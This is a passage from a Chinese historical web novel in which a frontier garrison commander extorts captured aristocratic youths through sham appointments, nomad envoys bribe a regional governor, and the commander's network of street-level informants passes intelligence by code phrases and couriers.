这里条件简陋,栅栏高耸,岗哨林立,气氛肃杀。
负责此事的部将刘冲站在一个土台上,声音冷硬,没有任何废话:“都听好了!这里是黑山军寨,边塞之地,讲究的是规矩和力气。
不管你们以前是干什么的,也不管你们与谁沾亲带故,到了这儿,是龙得盘着,是虎得卧着!”
“从今天起,你们将落户军寨,会有人教你们这里的规矩,给你们饭吃,给肉吃,吃饱穿暖。
但也得给老子拿出力气来干活、训练!以后就是军寨的自己人,有地种,有饷拿。表现优异者被提拔重用,偷奸耍滑、心怀鬼胎的……”
刘冲本就是山贼出身,浑身带着煞气。目光如刀子般扫过下面一张张或惶恐或不服的脸,“……边塞苦寒,缺的不是人,是听话的牲口!开春化冻,荒地多得是,干得多,分得多。”
简单粗暴的训话,配合周围甲士手中明晃晃的兵刃,瞬间击溃了大部分人的侥幸心理。
这些青壮被迅速打散编队,由老兵带着开始了适应性的基础训练。他们是一笔宝贵的劳动力,但也需要彻底“消毒”和打磨才能为军寨所用。
至于那百来个良家子弟,则早就被单独列出。
“良家子弟”指的是家世清白、职业正当、财产达标、非贱籍出身的人家子弟,他们在**、军事、婚姻等方面享有较多机会和优待,在大周,是国家选拔兵员和官员的重要来源。
一句话,他们家境不错,能识文断字,这是军寨急缺的人才。大部分人虽然也受了惊吓,但顾及面皮和身份,表现出读书人该有的风骨。
关键是,苏亮招呼没有把他们招呼走,一估计是苏家看不上,二是这些人是被拉来充数的。
这个争取过来的机会还是蛮大的,
李恒亲自出面,将他们编入附寨的文吏队伍,由人带着,处理些抄写、登记、核算之类的事务。
赵开明皮笑肉不笑地“勉励”他们:“诸位都是读过书、明事理的,到了军寨,正好一展所长。
好好做事,自有前程,表现优异者会被提拔。秦知寨早就有命,与苏监镇商议决定,只要有本事,就能得到一官半职,如各曹副使、参军。
若还是抱着公子脾气,以为能在此地作威作福……呵呵,军寨的规矩,比其他州城严苛得多。
能做事,留下,提拔;不能做事,寨里的牲口棚和来年的荒地,倒也不多你们几副碗筷。”
这番话软中带硬,让这些原本想着来“捞油水”、“混资历”的子弟们彻底清醒,意识到这边寨绝非善地,有机会不假,却也胡来不得。只能暂时收起心思,战战兢兢地开始做事。
另一边,李双率领的那两三百厢军,待遇是截然不同的。他们被人引到早已准备好的营区。
虽然行动范围受到限制,但热腾腾的饭菜、大块的炖肉,甚至还有限量的浊酒供应,让这些一路辛苦的军汉们顿时大喜,感谢连连。
军寨方面派出的秦小六,张龙等军官陪着笑脸,说着“弟兄们辛苦”、“敞开肚皮吃喝”、“苏大人自有安排”之类的场面话,气氛看似融洽和谐。
这种区别对待,既是为了稳住这支武装力量,也是为了凸显出苏大**势,方便后续计划。
而李双和何方等人回家探望,他们在军寨的家属早已得到消息,团聚之时,自是百感交集。不敢过多议论,只是再三叮嘱要谨慎行事。
短暂的团聚后,李双与何方便来到军寨核心区域的官署。这里戒备森严,更显朴实和肃穆。
秦猛亲自在一间暖阁内设宴款待。菜肴不算奢华,但量大实在,酒也是上等好酒北风烈。
“辛苦了!”秦猛亲自为二人斟酒,目光锐利却带着赞许,“此番事儿初成,二位功不可没。”
“来,先满饮此杯,暖暖身子!”
秦猛与两人喝了碗酒后,立刻神色肃穆的任命。
“何方,你便在军寨安心做事,我已批准你为水曹参军,执掌运输队,维系军寨水上粮道运转。
李双,我还是比较看好你的,已经保举你为卫戍营部将,待到功成身退返回,随时能赴任。”
“另外每人再追赏百两银子。”
秦猛拍了拍手,立刻有两名亲兵各端着托盘上前。红绸打底上放着任命文书和一堆银锭。
这个水曹负责粮食运输,可是个肥缺。卫戍营部将,可要比地方军队副指挥职位强出不少。
何况还有白花花的银子赏赐。
这可比崔文远一句口头褒奖重用,实在得太多。
何方,李双两**喜过望,心中自有比较。捧着酒碗起身谢过:“多谢
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大人提拔,我敬您。”
“这是你们应得的,好好做事。”秦猛大方摆手。他不太懂官场门道,但却知道,人都有私心,都想得利益过好日子,而他也愿意给机会。
酒过三巡,气氛热络起来。
何方率先详细汇报了此次运送来的物资清单:“大人,此次苏家和崔文远算是下了本钱。
共计有:上等粟米一千二百石,棉衣五百套,厚棉被三百床,皮甲三百副,制式腰刀四百把,长矛五百。另有铜钱五大车,约合三千贯。”
除了上述,从苏亮和他那几个贴身随从的马鞍袋、行李中,搜出散碎银两合计约千余两,还有藏匿的银票,面额加起来有五千两之多。
秦猛听着,手指轻轻敲击桌面,眼中精光闪烁。这批物资,尤其是粮食和武器装备,对军寨来说,无疑是雪中送炭,大大缓解了压力。
李双接着补充了幽州方面的动态:“崔文远那边,看来是信以为真了。他催促苏珩尽快掌握军寨实权,拉拢人心,并暗示后续可能还有‘支持’。
苏家也是全力投入,指望着苏亮等人能在此站稳脚跟,将来好分一杯羹。目前看,他们并未起疑。”
秦猛满意地点点头:“好!他们越是放心,我们的时间就越充裕。”他看向李双,神色严肃起来,“李指挥,你返回幽州后,一切照旧,但要更加小心。
崔文远若有任**的指示,或幽州有任何风吹草动,务必设法及时传递消息。军寨这边,会继续‘配合’苏大人演好这出戏。
你要让他们觉得,他们的投资正在见效,军寨正在逐步落入‘掌控’。”
李双郑重点头:“大人放心,属下定不负所托!”
这场小范围的宴饮,直至深夜方散。
席间不仅仅是接风,更是对下一步行动的周密部署。
秦猛需要李双这颗棋子,在幽州继续为军寨争取时间和资源。
两日后,经过休整,李双带着百余名心腹厢军,押解着少量“回礼”踏上了返回幽州城的道路。
他们留下的,是军寨急需的物资、人力,以及一个更加扑朔迷离,却对军寨愈发有利的局面。
李双带着“回礼”和任务返回幽州后,军寨的注意力便集中到了那批被扣押的“良家子弟”身上。
对付这些世家纨绔,甚至无需秦猛这位知寨官亲自过问,接受他手把手教导的**和牛五,由这两位“专业人士”实战练手,便已足够。
第263章 囚牢授职,绞索暗套
阴暗的审讯室内,墙壁上挂着血迹斑斑的刑具。火把跳跃的光芒映照着苏亮等人苍白扭曲的脸。
想象中的严刑拷打还未真正开始,仅仅是刑具碰撞的冰冷声响和牛五那带着狰狞刀疤的面孔,便已让这群养尊处优的公子们魂飞魄散。
尤其是为首的苏亮,身为苏家长房嫡孙,身份比苏珩还要尊贵几分,何曾见过这等阵仗?
几乎是**拎着夹棍来,沉声问了一句“姓名、来历、目的”,他便涕泪横流,裤裆湿了一片,竹筒倒豆子般将知道的一切和盘托出。
为首的都这样,有问必答,何况其他人等?一个个如惊慌的小兔子般说出自己的身份和家世。
就算有些脾气大的,梗着脖子说自己爹是谁谁谁。迎来的却是一顿拳打脚踢,结果被打得鬼哭狼嚎,泪如雨下,问什么,就回答什么。
审讯结果迅速呈报至秦猛的案头。
除了苏亮,这批人里竟还有郡城新上任孙判官的侄子、杨家的偏房子弟、庞家舅爷的外甥……
无一例外,皆是幽州地界上有头有脸的家族子弟,与刺史崔文远关系盘根错节。他们此来,名为投靠苏珩谋差事,处处来掣肘秦猛。
实则是奉了家族乃至崔文远的暗示,欲在这看似即将被“掌控”的军寨里提前占位,混足资历,再调派到大寨,城寨,一点点掌握权利。
南河城寨,双塔城寨都有幽州官僚插手掣肘。
而那群良家子弟果然是被拉过来滥竽充数,当作掩护,是为了给幽州城数十万百姓看的。这种职位提拔任免,都是幽州刺史府内订好的。
凡有油水的岗位轮不到他人,普通良家子做个小吏,基本到头了,根本就没有机会往上爬。
“哼!”秦猛拍案而起,脸上怒意勃发。
“这些尸位素餐的蠹虫,真把大周朝的官职当作他们家的后花园了。寒门子弟纵有才华也难以出头,尽是这等拉胯的货色窃居高位。”
“长此以往,国将不国,必成大祸!”
他眼中寒光闪烁,杀意涌动,莫名想到了黄巢。以前没有机会,穿越过来,正好大展拳脚。
“不可不可,军寨只有数千兵马,根基尚没有稳固,更没有给兵卒树立信念,也没有完全洗脑。时机不成熟,思想教育这方面要加速推行。”
然而,这杀意最终被更深的算计压下。他背着手来回踱步,最终非但没有下令将这些人拖出去砍了,反而嘴角勾起一抹冷酷的笑意。
当天下午,秦猛亲自去了临时关押这些人的牢房。
空气中弥漫着霉味和尿骚味,苏亮等五十多个狐朋**被关了两天,早已没了当初来的嚣张气焰,个个披头散发,脸上带着淤青,眼眶红肿,眼神惊恐,如同待宰的羔羊挤作一团。
秦猛如同检视货物般,目光在他们身上缓缓扫过,然后竟如同市集甩卖般挨个“分配”起官职来,语气带着一种令人不寒而栗的戏谑:
“你,苏亮,”他指着瑟瑟发抖的苏家大房嫡孙,“不是想当官吗?从今天起,你就是我军寨的法曹参军了!专管狱讼刑法,监督各曹乃至军寨,正好,先熟悉熟悉这牢里的规矩!”
苏亮吓得一哆嗦,几乎瘫软。
秦猛目光转向另一个面如土色的青年才俊:“你,孙超是吧?你堂哥是郡城新来的孙判官?
好,很好,你这层关系用处不小。今后你便是我军寨的农曹副使,开春垦荒,少不了你出力!”
他又指向几人:“你,仓曹副使!你,兵曹佐史!你,市令……”
片刻之间,这七八个纨绔子弟,竟都被秦猛随口安上了军寨中各式各样的官职,正史副使齐全,品级不高,名头却听起来像模像样。
“都给本知寨听好了!”秦猛声音陡然转冷,“既然当了官,就得给**活,要对得起这份俸禄,要报效朝廷,戍卫边疆,护佑一方百姓。”
秦猛看着这群纨绔子弟,用恨铁不成钢的语气说着。还假惺惺地向南方拱了拱手,表示尊敬。
他正义凛然过后,脸上露出玩味又凶狠的笑意:“诸位同僚,你们的身家性命,还有你们的前程,从即刻起,就都系在你们各自的家族上。”
“只要你们恪尽职守,踏踏实实办事,偶尔写写家书,说你们站稳脚跟,多多送钱送粮来。
你们有钱出钱,别人有力出力,咱军寨迅猛发展,你们的地位也水涨船高,岂不是两全其美?
想要功成名就,光宗耀祖,就看你们…如何付出。以及你们身后的家族,识不识相了!本将给你们考虑的时间,想清楚了,再来表态。”
这番话,如同重锤般敲在每个“新任官员”的心上。
他们这才恍然,秦猛不杀他们,并非仁慈,而是他们有利用价值,要让他们变成牵制幽州各方势力的活棋子、是以后谈判交易的筹码。
这突如其来的“官职”,不是荣耀,而是讽刺的虚
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名,是套在他们和他们家族脖子上的无形绞索。
秦猛看着这些嚣张却不是笨蛋的纨绔子弟,眼中精光闪烁,看着兼管牢房的张虎,下令,
“给他们每顿多加半个窝头,别让大人们饿着了。谁要是主动投靠,送米饭、馒头,红烧肉……”
“得令!”张虎咧嘴笑了,昂首应声。
**和牛五拎着各类刑具,凑了上来,笑容阴森:“大人的话很清楚,咱军寨资源匮乏,从来不养闲人,你们要做一个对军寨有用的官。要是没有用的下场,你们心里应该清楚。”
“你们在幽州城嚣张跋扈,欺压百姓,以为没人敢收拾你们?在这边塞,可就由不得尔等。是生是死,是祸是福,全看你们今后的表现。谁敢不听话,不配合,那就埋荒地里沤肥。”
**和牛五可就没秦猛说的那么含蓄,直言不讳,站在道德的制高点上,批判眼前这群纨绔。
犹如幽州官僚,总是拿大帽子扣别人头上的行径。极度吻合“走别人的路,让别人无路可走”。
苏亮,孙超等人瞠目结舌,久久没能回过神来。
牢房内,死一般的寂静。
半晌后,唯有粗重的喘息和压抑的抽泣声,预示着这些纨绔公子哥“辉煌”的军寨仕途,从一开始,就充满了难以想象的艰难与**。
而秦猛,则已转身离去,开始筹划如何利用这批特殊的“俘虏”,如同苏珩这条大蚂蝗一样,为军寨谋取更大的利益和强有力的反击之机。
“这批俘虏是资源,另外**俘虏就是战机。”秦猛离开阴暗的地牢后,深吸一口凛冽空气,串联想到其他俘虏,眼神变得更加凌厉起来。
……
暮色为古老的幽州城披上一层灰霾。
一支风尘仆仆的商队抵达幽州城北门。车队规模不大,十来辆大车上却满载着上等皮**和生药材。
几十名护卫、伙计模样的人,虽作汉家打扮,却难掩魁梧的身形,沉默寡言间,眼神锐利如鹰。
队伍中间一辆不起眼的马车里,车窗布帘被一只骨节粗大的手微微掀开一道缝隙。
车内,一名身着绸缎袄、作商贾打扮的中年男子,正透过缝隙冷冷打量着这雄城。当他目光扫过远处几座旌旗招展、戒备森严的虎贲军营地时,眼底深处不禁掠过难以掩饰的忌惮。
他们并非真正的商队,也不是汉人,而是来自草原。
——狼戎黑狼部落的精锐!
第264章 狼使入城,各怀鬼胎
黑狼部落现任酋长德克萨有着“宁为鸡头,不为凤尾”的志向,素来与东胡联盟诸部不睦,遭到排挤,部落被安置在联盟地盘边缘区。
不得不说,他是一个颇有心机、野心勃勃的家伙。总想从大周这里掠夺粮食,财富壮大自身。去年派遣出八百精锐,就是想劫掠钱粮。
奈何,除了两个重伤的溃兵逃回来,队伍全军覆没。
德克萨勃然大怒,派出队伍入境,在多方探查后,已基本确认八百精锐遭铁血军寨精准伏击。
更令他震动的风声是,他最有头脑又勇武的三儿子穆托达可能未死,而是落在了对方手中。
与此同时,以往在边境与之暗通款曲、输送粮草、提供便利的董家等势力,竟也被连根拔起。
这一连串的打击,让德克萨既感切齿痛恨,又心生强烈警觉。再不采取行动,部落怕是危矣!
他派出这支以智囊阿古拉为首的使团,伪装入城,首要目的自然是设法赎回爱子,但更深层的意图,则是要亲自试探幽州刺史崔文远的态度。
——能否借这位封疆大吏之手,对那个突然变得棘手无比的铁血军寨,施以最残酷的报复。
“汉人,就喜欢相互猜忌,内讧,狗咬狗一嘴**。”马车里,使节领队阿古拉眼中闪过讥讽之色。
车队缓缓融入幽州城华灯初上的夜色,载着草原的愤怒与算计,驶入这座人口数十万的雄城。
这群草原来客顺着人流入城,没有人注意到,一个守门军卒认出车上是北方草原的皮**。
车队路过靠近北门的一家小食铺前时,后院几条猛犬呲牙咧嘴,汪汪低吼声,却被前院食客们的嘈杂掩盖,伙计察觉到异常,脸色剧变……
第二天,凌晨,万籁俱静。
幽州刺史府后堂书房内,烛火摇曳着,将崔文远略显疲倦的富态身影投在身后的屏风上。
他端坐在紫檀木大案后,手指轻轻敲击着光滑的桌面,面色平静无波,听着眼前这位来自狼戎黑狼部落的使者阿古拉,声情并茂地陈述。
阿古拉穿着一身裁剪得体的汉家锦袄,若非他那高耸的颧骨和深陷的眼窝,透着明显的草原特征,光听其流利甚至带点幽州口音的官话,几乎要以为他是哪个边地豪商的门客。
他语气悲愤,却又强行压抑,显得格外“诚恳”。
“崔大人明鉴!”阿古拉躬身行礼,声音带着恰到好处的哽咽,“年前腊月前后,我黑狼部确是怀揣着诚意,驱赶着上好的牛羊牲口,欲与贵境郡城的商贾互通有无,以全两家之好。
我家族长德克萨,一向仰慕天朝文化,常言当与幽州永结盟好,共御北荒冬季来临的白灾。
谁知……谁知队伍刚入境,竟遭不明兵马伏击!”
他抬起眼,眼中竟真有泪光闪烁:“那伙人悍勇非常,战术狠辣,绝非寻常马匪!我部勇士措手不及,死伤惨重,数百精锐儿郎……几乎全军覆没啊!
更可痛者,我家族长最为疼爱的三子,勇武的穆托达也在乱军中失踪。族长闻此噩耗,一夜白头……”
崔文远端起茶杯,轻轻吹开浮沫,呷了一口,并不接话,只是用眼神示意他继续往下说。
阿古拉见状,心中暗骂一声老狐狸,脸上却更加悲戚:“事后,我等多方查探,种种迹象皆指向……指向边军所为。
大人,我部一片赤诚而来,却遭此无妄之灾,实难心服!然族长顾全大局,不忍边衅再起,令生灵涂炭。
故特遣在下前来,备上薄礼,一是如实陈情,二来恳请崔大人念在两境安宁的份上,代为斡旋。”
说着,他“啪啪”拍了拍手。
门外等候的随从抬进来几只沉甸甸的檀木箱子。箱子打开,刹那间,书房内珠光宝气氤氲而生。
不仅有成锭的黄金、硕大的东珠、品相极佳的皮草,更有几件明显带有前朝宫廷风格的绝品玉器,价值连城。
“此乃我部一点心意,万望大人笑纳。”
阿古拉躬身道,“若蒙大人垂怜,能查明真相,释放我部被俘人员,尤其是酋长之子穆托达。
我黑狼部愿再奉上十倍于此的赎金,并立下血誓,永保幽州北境百年太平。若真是边军某些将领贪功挑衅,也望大人明察秋毫,予以严惩,以正视听,我部落上下绝无异议。”
这番话可谓滴水不漏,极为老辣。
既点明“边军伏击”的指控,又将姿态放得极低,强调是“不明兵马”、“某些将领”,给足了崔文远台阶和下刀的理由。
至于,那十倍的巨额财富和“百年太平”的空头支票,更是直指封疆大吏最在意的政绩与私利。
崔文远放下茶杯,目光扫过那几箱金银珍宝,特别是在那几件前朝玉器上,多停留了片刻,眼底深处飞速掠过一丝难以察觉的贪婪。
他缓缓开口,声音平和却带着官威:“贵使所言,事关重大。边军乃朝廷支柱,保境安民,岂会无故袭击友邦队伍?
其中是否有所误会?
或是……真
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有不开眼的匪类冒充军士,坏我幽州名声?”
他这话,看似为边军辩解,实则已悄然将“调查”和“可能存在冒名顶替者”的钩子抛了出来。
阿古拉何等精明,立刻顺势而下:“大人所言极是!或许真是有奸人作祟,意图挑拨离间!
正需大人这等明察秋毫之重臣,方能还真相于大白。无论结果如何,我黑狼部皆信服大人裁断!”
他刻意略过了“边军将领”一词,只强调“奸人”,双方心照不宣。
崔文远满意地微微颔首,沉吟片刻,方道:“既如此,你们查到奸人所为,只管讨回公道。本官信你部诚意。此事也会派人详加查证!
若果真如贵使所言,有贵部人员被误俘,本着两国交好之谊,自当妥善处置。至于赎金嘛……”
提到钱财,他特意拖长了语调。
“好说,好说!只要人能平安归来,赎金必定让大人满意!”阿古拉心中暗骂着,却赶紧保证。
“那便好。”崔文远挥了挥手,“贵使一路劳顿,先下去歇息吧。此事,本官自有计较。”
“谢大人,在下告退!”
阿古拉起身恭敬行礼,低眉顺眼地退出了书房。
房门关上后,崔文远脸上的平和瞬间消失,取而代之的是一抹冰冷的算计。
他走到珠宝箱前,拈起一枚东珠,在烛光下细细把玩。
“伏击?做生意?鬼话连篇!”他心中冷笑,“黑狼部年前分明是想要趁虚而入,进行掠夺。
只是…又碰到铁血军寨,踢到了铁板……看来,吴振那老小子手下的边军,倒是出了个愣头青,敢下死手,又抓了条大鱼,只是可惜呀……”
他踱步到窗边,望向北方逐渐明亮的天际线。德克萨的儿子……这可是个奇货可居的筹码。既能用来向黑狼部勒索更多好处,更能用来……”
“边军骄横,擅启边衅,掳掠友邦子嗣,激起狼戎怨愤……这个罪名,足够他赵起喝一壶的了。”
崔文远嘴角勾起一丝阴狠的笑意,“或许,还能借此机会,将手更深地插入虎贲军中……秦猛?这刺头真是悍勇,却终究留他不得……”
他心中迅速盘算着,如何利用这突如其来的“狼戎使节”来大做文章,一边榨取黑狼部的财富,一边打击政敌,巩固自己在幽州的权位。
他却不知道,阿古拉等几个长相迥异,一看就是草原人的家伙夜访刺史府,被后院喂马的马夫、起早收粪的劳工看在眼里,记在心头……
第265章 暗探,风暴将至
天渐渐亮了,街上人也多了起来。
潘老翁推着散发着酸腐气味的独轮车,“吱呀吱呀”地走在幽州城略显凹凸的青石板路上。
车轮每颠簸一下,他心头都跟着一紧,不是怕粪桶倾洒,而是下意识地护着怀里那沉甸甸的五十文铜钱。
这钱,带着说书先生递过来时那微凉的触感,此刻却像块热炭,熨帖着他干瘪的胸膛,也灼着他的心。
他盘算着,这钱够买小半袋粗粮,再割一指宽肥多瘦少的猪肉,给病恹恹的老伴补补身子。
或许……还能剩下几文。
得死死藏好,绝不能再让那孽障翻去填了赌坑。
想到儿子,潘老翁浑浊的眼里闪过一丝痛苦与无奈,那是身上掉下的肉啊,再混账又能怎样?
他本是地道的幽州农户,脸朝黄土背朝天了大半辈子,老实本分,从未想过能跟刺史府这样的巍峨衙门产生瓜葛。
这大半年,为了糊口,他豁出老脸,从最初只敢在城外农户间收些不值钱的牲畜粪沤肥,到后来壮着胆子进城,帮居民处理这些污秽。
因为做事踏实,不偷斤短两,竟被农庄东家看中提拔,逐渐得到了在官邸区域收粪的活计。
这活儿又脏又累,收益远不如人粪金贵,但终究是个进项,让他能在幽州这米珠薪桂的地方勉强喘口气。
转折发生在前段时间。
城外的吉祥农庄换了东家,改了名号叫“青青农庄”,新东家露过几面,虽看不清面目,但气度不凡。
说开春后要大兴农事,需要大量沤肥,他们这些收粪工的月钱竟涨了一半,一天足足百文。
这已是潘老翁不敢想的好价钱。更让他觉得时来运转的是,几天前遇到了那位“说书先生”。
这是他做工劳累一天后,在馄饨摊上吃馄饨偶遇。那人四十来岁,温文尔雅,说话和气。说需要些街谈巷议、官家趣闻来充实话本。
只要消息稀罕,尤其是官邸区日常和各类消息。几句话的事,就能换回几文、十几文甚至更多,对潘老翁来说,简直是老天爷赏饭吃。
今天在刺史府后院的见闻,无疑是他遇到过最“稀奇”的事。
那几个高颧骨、深眼窝的汉子,带着一股子洗不净的羊膻味。潘老翁没见过**,却听说过,这就是草原人的长相,有**来刺史府。
还有老熟人、刺史府的马夫老陈头压低声音说的“狼戎”、“黑狼部”、“边军**抢牛羊”……
潘老翁虽不懂朝堂大事,但也觉出这事非同小可。
他牢记说书先生的叮嘱——“这事儿自己知道就好,莫要再对外人说起”,心想自己只告诉这位“先生”,换点口粮钱,应该惹不来祸事。
他哪里知道,自己接触的说书先生可不是简单的角色。自己这微不足道的小人物,悄然间成了惊涛骇浪中一片无意间被卷起的浮木。
他只觉得怀里的铜钱更沉了,心里盘算着,明天去长史苏大人家收粪,耳朵得竖得再高些。
钱记面馆旁。那名说书先生年及四旬,在潘老翁身影消失于人海的刹那,脸上那副人畜无害的笑容瞬间冻结、褪去,眼神变得锐利如鹰。
此人可不是什么说书先生,而是以说书先生身份为掩护——铁血军寨暗部成员,代号“八哥”。
他动作流畅而迅速,惊堂木、胡琴、布幌子,几息之间便收拾妥当,装入那个特殊木箱。
他提起箱子,不疾不徐地融入人流,步伐看似随意,却暗合某种节奏,专挑人多眼杂的集市穿行。
时而驻足看看摊贩的货物,时而假意系鞋带,眼角余光敏锐地扫视着周围可能存在的“眼睛”。
确认安全后,他一闪身钻进一条仅容一人通过的窄缝小巷。巷内阴暗潮湿,尽头堆满破旧箩筐。
八哥迅速打开木箱暗格,褪下那件彰显身份的宽大长衫,换上一套毫不起眼的灰褐色冬衣,又将那木箱巧妙折叠,变为可背负的书笈。
整个过程不过十几息,当他再从巷子另一头走出时,已从一个引人注目的说书人,彻底变成了一个穿着普通、泯然于众的寻常路人。
他脚步不快不慢,穿行在迷宫般的小巷里,对这里的每一个拐角、每一处暗门都了如指掌。
最终,八哥从一条背街绕出,停在“王氏杂货铺”的侧面。他调整了一下呼吸,却四处观察,没有发现异常,这才若无其事地走向铺面。
掌柜王二,暗部成员之一,代号“二哈”,正与一个讨价还价的老妇周旋,脸上堆着生意人惯有的笑容。
八哥耐心地等待,直到那老妇买了东西嘟囔着离开,他才上前,指尖看似无意地划过一摆干蘑菇。
“掌柜,这蕨菜干色泽不错,咋卖?”
王二笑容不变,眼神却微微一凝,一边拿起秤杆,一边低如蚊蚋地回应:“老价钱,童叟无欺。风从哪边来?”
“北边,带着腥膻味。”八哥同样低声,语速极快,“鸟雀入了刺史府后林,鸣声凄厉,诉边军拔羽之痛,应该是雷老鸟报复,狼狈为奸,”
他假意检查蘑菇,手指在筐沿轻叩三下,示意情报紧急。
王二手下秤砣滑动,精准无误,包好货物递过,扬声道:“客官好眼光,三十五文,您拿好!”
同时嘴唇微动,“知道了,风声鹤唳,各自小心。你的戏台不能撤,三炮会带人时刻盯着。”
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八哥点头,拎着货包转身融入街市。
王二让伙计照看着,脸上的笑容在帘子落下的瞬间收敛。
他快步走入后堂,狭小的空间里弥漫着干货混杂的气味。迅速研墨,取出一张特制的薄韧棉纸,用暗语将情报精简书写,墨迹干透后,卷成细条,塞入一个防水的细小竹管内,以蜡封口。
几乎同时,杂货铺后院传来一声约定的布谷鸟叫轻响。一名作普通行商打扮的汉子闪入。
他是军寨派来执勤斥候。
王二将竹管交出,信使熟练地解开冬衣扣子,内衬早已设计好暗袋,将竹管藏入其中,重新整理好衣衫,整个过程没有任何交流却高效。
他朝王二重重点头,随即从后门牵马而出,翻身上马,一夹马腹,身影很快消失在拐角处。
从收集情报,有多个步骤,情报传递也是分开的。人员之间都是单线联系,除了少数几个核心人员,没人知道各环节情报人员的底细。
秦猛深知情报乃性命攸关之事,手把手教导暗部成员。在情报部门的建设上投入了巨大心血。
如今,付出终于结出了硕果!
这张情报网络已在犹如城站稳脚跟,不再局限于最初的几个据点。城外有三处农庄作为外援。
城内十多家店铺作为固定据点!
更是利用各种渠道渗透。比如这城中收粪的行当,本是盘根错节之地,但在秦猛背后金银开道和巧妙运作下,已有多个关键位置被替换或策反。
逐渐发展下线,近百名倾脚夫在每日的劳作中,无形中成了军寨的耳目。这些看似卑微的身影,穿梭于幽州的大街小巷、高门后宅,收集着零碎的信息,最终汇流成有价值的情报。
尤其是刺史府等重要官员府邸,更是被重点照顾。
一旦有风吹草动,立刻传回军寨。
几乎就在铁血军寨暗部将消息送出的同时,刺史府内,另一条情报线,也在悄然动作。
定期往府内运送草料的队伍中,一个看似普通的伙夫,在茅房里与马夫老陈头“偶遇”。
短暂的交流后,老陈头满意地掂了掂再次鼓胀起来的腰包,走出茅房时,脸上带着得意。
他提供的消息,同样关于狼戎使者,却会通过另一条通道,流向幽州城内与崔文远对头手中。
与此同时,买菜的老婆子比以往晚回来几分,眼神闪烁,一巡逻护卫往后院墙外丢出纸团……
狼戎来使入城后,潘老翁怀里的铜钱,信使怀中的密信,老陈头鼓胀的腰包,老婆子眼神闪烁……
这一切因**而起,都成了这场势力无声博弈中悄然落下的棋子,预示着一场风暴即将来临。
第266章 幽州城情报网
幽州城,寒风卷着积雪,每一片雪花都似驮着压抑的重量,沉沉压在街巷屋顶。
平静是表象,各方势力的触角早已在暗处绷紧,敏锐捕捉到空气中那丝不同寻常的躁动,暗流在冻土之下,正以肉眼难察的速度奔涌、汇聚。
十字街口,明月酒楼。
这座三层飞檐斗拱的庞然大物,占尽了城中心的地利,即便寒冬腊月,门前车马依旧络绎不绝。
门口蒸笼冒着滚烫的白气,伙计的吆喝声穿透寒风,大堂里酒肉香气混着暖意在门缝里打转,硬是在酷寒中撑起一派活色生香的繁华。
新推的“雪夜炙鹿肉”油花四溅,“金汤暖寒锅”咕嘟冒泡,配上难得一见的“北风烈”酒、“稻花香”醇酿,让这里成了幽州城的磁石。
——达官显贵的车轿、商贾富户的锦袍与三教九流的短打擦肩而过,酒杯碰撞间,藏着比酒更浓的人心。
这座大酒楼,曾是漕运判官刘德福的产业之一。刘判官倒台后,被一个外地豪商买下来。
却无人知晓,酒楼真正的主人,是远在数百里外的边关,是铁血军寨那位手握刀枪的寨主,秦猛。
为了这颗“钉子”,他拿出了好大一笔银钱。盘下酒楼时,几乎动用了部分早期积累的流动资金,又托常九的关系网四处走动、打点,
他曾对心腹们说:“这不是酒楼,是咱们扎进幽州城的根,是护着你们的盾。砸再多银钱,都值!”
酒楼里从掌柜到洗碗工、马夫,皆经层层筛选,核心岗位更是由军寨堡民或流民中的佼佼者担任。
——这些人的安置、专业培训,以及配备的护卫,又是一笔泼出去的巨款,秦猛却眼皮都未眨。
而这繁华的背后,藏着另一重天地。
酒楼后院,柴房角落一道暗门虚掩,推开便是仅容一人通过的狭窄石阶,蜿蜒向下直至地底。
地下密室是由废地窖扩建,空气微凉,墙壁上几盏油灯燃着昏黄的光,勉强照亮石桌旁的六道身影。
他们皆着黑衣、戴兜帽,脸上覆着不同兽纹面具,呼吸压得极低,在死寂中,心跳声格外清晰。
这是铁血军寨的情报中枢核心。
由幽州情报总站,“总管”冯财召集的紧急会议。
代号“大虎”的石雄、“二哈”的王二、“三炮”赵贵、“四豺”的周福、“五熊”的秦三郎,还有“七柳”的朱金。
至于“六狼”、“八哥”、“九尾狐”三个外勤骨干,此刻正蛰伏在城中某处,除了老板秦猛,没人知道他们的身份、行业,甚至是否在这座城里。
——这是秦猛设下的后手,若核心人员暴露被迫转移,他们便是能立刻撑起情报网的火种。
情报部门初建,规矩却已森严。
暗探分作特级、高级、中级、初级、观察级,外加外围的情报贩子,每一级领到的月钱、福利、连脱离部门后的转行出路也天差地别。
但是暗探做得好,包括情报贩子在内,若能立下大功,甚至能凭此入军,将来封将为官。
——这条情报部门体制内的晋升通道,让幽州城里的暗探们个个卯足了劲,各自发展下线,情报网络如蛛网般,以惊人的速度蔓延开来。
更严的是行事准则:单线联系,接头地点临时通知、随时更换,任何级别探子,无上级命令绝不得擅自行动。
这些规矩,皆是由代号为“老板”的秦猛亲手制定,细到如同当年抗战时的地下组织一样严苛。
“总管”冯财最后一个坐下,目光扫过石桌前这些戴着面具的核心成员。尽管面具遮住了他们的容貌。
但冯财仿佛能透过冰冷的材质,看到他们面具下,那一张张因紧张、兴奋而略显稚嫩,却又在军寨严酷训练中,迅速坚毅起来的脸庞。
他的思绪不禁飘回两月前,铁血军寨那座训练营。
那时,他们还不是什么“总管”、“七柳”、“大虎”。
他是冯财,只是个因为战乱家破人亡、来投奔亲眷,在铁血军寨安顿下来,以前帮着姑姑刘婆子开过杂货铺、自己摆过食摊的普通边民。
朱金,是个拖家带口逃难来的流民,原本在老家县城有家酒楼,算是见过些世面,但当地官府剥削得太狠,也被乱世磨去了所有锐气。
石雄,这个并州来的前军户,空有一身武艺,却因上官压迫而逃亡,郁郁不得志。赵贵、王二、周福、秦三郎……个个都是挣扎在生存线上,一年到头攒不下几个钱的小人物。
是秦猛秦大人,将他们从人群中一一挑选出来。
冯财至今记得秦猛那深邃而充满力量的目光扫过他们时说的话:“我知道你们怕,我也怕。
但我们不争,就是死路一条,家人也无法幸免于难。不去拼一把,只会如同臭虫一般的死去。
王侯将相,宁有种乎?
我们要捍卫自己的家园,追寻自己的生路。做一个有用的人,靠自己的双手来搏出个前程。
现在,我给你们一个机会
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,不是让你们去战场上明刀明枪地拼杀,而是去一个更复杂、更危险的地方,那里有勾结**残害同胞的毒瘤。
——插入敌人的心脏位置,为咱们铁血军寨,也为你们自己和家人的将来,搏一条生路!”
接下来的日子,堪称脱胎换骨。
秦猛近乎是“手把手”地教导。他亲自编写了简陋却极为实用的教材——《幽州风俗励志》、《人心观测录》、《危机应对十则》等。
